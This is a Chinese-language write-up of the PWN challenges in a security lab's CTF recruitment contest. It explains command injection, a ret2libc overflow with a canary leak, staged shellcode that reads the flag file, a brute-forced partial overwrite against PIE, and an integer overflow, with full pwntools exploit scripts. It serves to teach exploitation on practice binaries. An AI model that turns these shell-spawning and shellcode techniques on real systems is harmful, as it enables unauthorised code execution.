弱口令安全实验室招新赛PWN-WriteUp

Game

  1. IDA分析发现需要满足输入的v3==v4,v4是一个srand()确定的随机数,才能跳转到back函数,在back函数里面利用Linux管道符可执行命令。

  2. GDB查看v4的值为0x18c55c46(415587398)

  3. nc远程连接后输入415587398,然后输入任意IP|指令,即可执行系统命令,获取flag。

stackoverflow

  1. checksec发现开启了Canary和NX

  2. IDA分析发现func中buf和v2两个变量均存在栈溢出。

  3. 未发现system函数,提供了glibc,需要ret2libc题目。

  4. 由于开启了Canary,首先需要第一次输入泄漏Canary,其次需要获取libc基址和binsh的位置。

  5. 已知func_addr = 0x40128a、popedi_addr = 0x401393、func_ret_addr = 0x4012ff,首先计算libc基地,可通过payload2 = 'A'*(0x40-8) + p64(canary_addr) + p64(0x00) + p64(popedi_addr) + p64(puts_got) + p64(puts_plt) + p64(func_addr)泄漏puts函数的真实地址,计算libc基址、sys真实地址和binsh真实地址。最后通过payload3 = 'A'*(0x40-8) + p64(canary_addr) + b'bbbbbbbb' + p64(func_ret_addr) + p64(popedi_addr) + p64(binsh_addr) + p64(system_addr)执行system(/bin/sh)

  6. 利用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    #!/usr/bin/python3
    from pwn import *
    import sys

    #----------------------------------- parm zone -------------------------------------------------------#
    context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
    context.log_level = 'debug'
    context.os = 'linux'
    context.arch = 'amd64'

    #----------------------------------- functions for quick script --------------------------------------#
    s = lambda data :sh.send(data) # in case that data is an int
    sa = lambda delim, data :sh.sendafter(delim, data)
    sl = lambda data :sh.sendline(data)
    sla = lambda delim, data :sh.sendlineafter(delim, data)
    r = lambda numb=4096 :sh.recv(numb)
    ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
    rl = lambda :sh.recvuntil(b'\n').strip(b'\n')
    irt = lambda :sh.interactive()
    rs = lambda *args, **kwargs :sh.start(*args, **kwargs)
    dbg = lambda gs='', **kwargs :sh.debug(gdbscript=gs, **kwargs)
    rm = lambda :io.recvuntil(rmflag)
    og = lambda path=null :list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
    clear = lambda :os.system('clear')
    uu32 = lambda data :u32(data.ljust(4, b'\0'))
    uu64 = lambda data :u64(data.ljust(8, b'\0'))
    leak = lambda name, addr :log.success('\x1b[01;38;5;214m{} = {:#x}\x1b[0m'.format(name, addr))
    li = lambda x :log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

    #----------------------------------- func zone -------------------------------------------------------#
    # gdb attach
    def gdb(cmd=""):
    if len(sys.argv) == 1:
    gdb.attach(sh,cmd)

    # remote or local
    def proloc(elf_addr,libc_addr,pro_libc):
    global sh, elf, libc, one_ggs
    if len(sys.argv) > 1 :
    ip = sys.argv[1].split(':')[0]
    prot = sys.argv[1].split(':')[0]
    sh = remote(ip,prot)
    libc = pro_libc
    else:
    sh = process(elf_addr)
    elf = ELF(elf_addr)
    libc = elf.libc # libc = ELF(libc_addr, checksec=False)

    #----------------------------------- code zone -------------------------------------------------------#
    # Leak Canary & ret2libc
    def exp():
    # leak canary
    sla('Do you know who first discovered the stack overflow',b'A'*(0x60-8))
    ru(b'A'*(0x60-8) + b'\n')
    canary=uu64(r(7).rjust(8, b'\x00'))
    leak('canary',canary)
    # leak libc_base
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    func_addr = 0x40128a
    popedi_addr = 0x401393
    func_ret_addr = 0x4012ff
    payload = flat(b'A'*(0x40-8), p64(canary), p64(0x00), p64(popedi_addr), p64(puts_got), p64(puts_plt), p64(func_addr))
    sla('leave your name:',payload)
    puts_addr = u64(sh.recvuntil("\n")[:-1].ljust(8, b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
    system_addr = libc_base + libc.symbols['system']
    leak('libc_base',libc_base)
    # ret2libc getshell
    sl(b'A'*(0x60-8))
    ru(b'A'*(0x60-8) + b'\n')
    canary = uu64(r(7).rjust(8, b'\x00'))
    leak('canary',canary)
    payload = flat(b'A'*(0x40-8), p64(canary), p64(0x00), p64(func_ret_addr), p64(popedi_addr), p64(binsh_addr), p64(system_addr), p64(func_addr))
    sla('leave your name:',payload)
    sh.interactive()

    if __name__ == '__main__':
    elf_addr = './stackoverflow' # local ELF
    libc_addr = 'libc.so.6' # local Libc
    pro_libc = "" # remote Libc
    proloc(elf_addr, libc_addr, pro_libc)
    exp()

ssssssn

  1. checksec,保护全开

  2. 开启了沙箱,不允许执行命令。

  3. IDA分析发现是利用mmap函数建立了一个权限为7的内存映射,然后利用read函数读入13字节去执行。

  4. 由于只允许输入13个字节,因此先利用payload1asm('mov rdx, 0x100')+asm('xor rax, rax')+asm('syscall')扩大从标准输入读取长度,然后进行ORW,payload:b'\x90'*len(payload1) + asm(shellcraft.open("flag")) + asm(shellcraft.read("rax", "rsp", 0x100)) + asm(shellcraft.write(1, "rsp", 0x100)),打开flag文件,rax接收返回的文件描述符,根据rax的文件描述符读取flag写入rsp指向的内存,然后从rsp将flag写入到标准输出。

  5. 利用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    #!/usr/bin/python3
    from pwn import *
    from LibcSearcher import *
    import sys

    #----------------------------------- parm zone --------------------------------------------------------#
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    context.log_level = 'debug'
    context.os = 'linux'
    context.arch = 'amd64'

    #----------------------------------- functions for quick script ---------------------------------------#
    s = lambda data :sh.send(data) # in case that data is an int
    sa = lambda delim, data :sh.sendafter(delim, data)
    sl = lambda data :sh.sendline(data)
    sla = lambda delim, data :sh.sendlineafter(delim, data)
    r = lambda numb=4096 :sh.recv(numb)
    ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
    rl = lambda :sh.recvuntil(b'\n').strip(b'\n')
    irt = lambda :sh.interactive()
    rs = lambda *args, **kwargs :sh.start(*args, **kwargs)
    dbg = lambda gs='', **kwargs :sh.debug(gdbscript=gs, **kwargs)
    rm = lambda :io.recvuntil(rmflag)
    og = lambda path=null :list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
    clear = lambda :os.system('clear')
    uu32 = lambda data :u32(data.ljust(4, b'\0'))
    uu64 = lambda data :u64(data.ljust(8, b'\0'))
    leak = lambda name, addr :log.success('\x1b[01;38;5;214m{} = {:#x}\x1b[0m'.format(name, addr))
    li = lambda x :log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

    #----------------------------------- func zone --------------------------------------------------------#

    # gdb attach
    def debug(cmd=""):
    gdb.attach(sh,cmd)

    # remote or local
    def proloc(elf_addr,libc_addr,pro_libc):
    global sh, elf, libc
    if len(sys.argv) > 1 :
    ip = sys.argv[1].split(':')[0]
    prot = sys.argv[1].split(':')[0]
    sh = remote(ip,prot)
    libc = pro_libc
    else:
    sh = process(elf_addr)
    elf = ELF(elf_addr)
    libc = elf.libc #ELF(libc_addr, checksec=False)

    # ---------------------------------- code zone --------------------------------------------------------#
    # ORW
    def exp():
    # debug()
    code = [
    asm('mov rdx, 0x100'),
    asm('xor rax, rax'),
    asm('syscall'),
    ]
    payload1 = b"".join(code)
    sa("you can input only 13 messages:\n", payload1)
    sleep(1)
    payload2 = (flat(b'\x90'*len(payload1), asm(shellcraft.open("flag")), asm(shellcraft.read("rax", "rsp", 0x100)), asm(shellcraft.write(1, "rsp", 0x100)))).ljust(0x100, b'\x00')
    sl(payload2)
    sh.interactive()

    if __name__ == '__main__':
    elf_addr = './ssssssn' # local ELF
    libc_addr = '' # local Libc
    pro_libc = '' # remote Libc
    proloc(elf_addr, libc_addr, pro_libc)
    exp()

animal

  1. checkseck发现开启了堆栈不可执行和地址随机化

  2. IDA分析为C++编写,getAnimal函数可以泄露地址,backdoor函数存在栈溢出漏洞,shell函数可以执行system命令。

  3. 输入的内容不为1或2,跳转至backdoor函数,利用栈溢出ret2text,跳转到system(‘/bin/sh’)的地址即可命令执行。由于开启了PIE,shell最后三位地址不变,因此我们可以通过覆盖地址的后3位实现跳转至shell函数。由于至少要覆盖4位,倒数第四位需要爆破,爆破范围在0到0xf。

  4. 脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from pwn import *

    context.log_level = 'debug'
    # gdb.attach(p,"b backdoor")
    context.update(arch='amd64', os='linux')

    list1 = ["\x05","\x15","\x25","\x35","\x45","\x55","\x65","\x75","\x85","\x95","\xa5","\xb5","\xc5","\xd5","\xe5","\xf5"]

    while True:
    sh = process('./animal')
    payload = 'A' * 16+'BBBBBBBB'+'\x66'+random.sample(list1,1)[0]
    sh.sendafter("3.show\n",'11')
    sh.sendafter("leave lase message\n", payload)
    try:
    sh.recv(timeout=1)
    except EOFError:
    continue
    else:
    sh.interactive()
    break

gift

  1. IDA分析发现需使int型变量v4<=5 && v4-1>5才能执行系统命令。显然是整数溢出,输入最小的int型整数(-2147483648)即可。